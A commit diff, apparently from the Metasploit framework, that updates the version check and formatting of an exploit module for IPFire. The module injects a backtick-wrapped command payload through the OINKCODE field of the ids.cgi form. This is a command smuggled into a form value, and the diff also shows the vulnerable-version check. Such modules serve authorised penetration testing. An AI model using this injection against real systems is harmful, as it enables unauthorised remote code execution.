Version check update and stylistic fix

Author: bwatters-r7

modules/exploits/linux/http/ipfire_oinkcode_exec.rb

@@ -67,18 +67,20 @@ def check
         'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
       )
 
-      if res and res.code == 200
+      if res && res.code == 200
         /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
       end
-
-      # now that we've pulled the info we need, check version.
-      if version && update && version == '2.19' && update.to_i <= 110
+      if version.nil? || update.nil? || !Gem::Version.correct?(version)
+        vprint_error('No Recognizable Version Found')
+        CheckCode::Safe
+      elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110
         CheckCode::Appears
       else
+        vprint_error('Version and/or Update Not Supported')
         CheckCode::Safe
       end
-
     rescue ::Rex::ConnectionError
+      print_error("Connection Failed")
       CheckCode::Safe
     end
   end
@@ -97,20 +99,19 @@ def exploit
             'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
           },
         'vars_post'          => {
-            'ENABLE_SNORT_GREEN' => 'on',
-            'ENABLE_SNORT' => 'on',
-            'RULES' => 'registered',
-            'OINKCODE' => "`#{payload.encoded}`",
-            'ACTION' => 'Download new ruleset',
-            'ACTION2' => 'snort'
+          'ENABLE_SNORT_GREEN' => 'on',
+          'ENABLE_SNORT' => 'on',
+          'RULES' => 'registered',
+          'OINKCODE' => "`#{payload.encoded}`",
+          'ACTION' => 'Download new ruleset',
+          'ACTION2' => 'snort'
           }
       )
 
       # success means we hang our session, and wont get back a response, so just check we get a response back
-      if res  && res.code != 200
+      if res && res.code != 200
         fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})")
       end
-
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
     end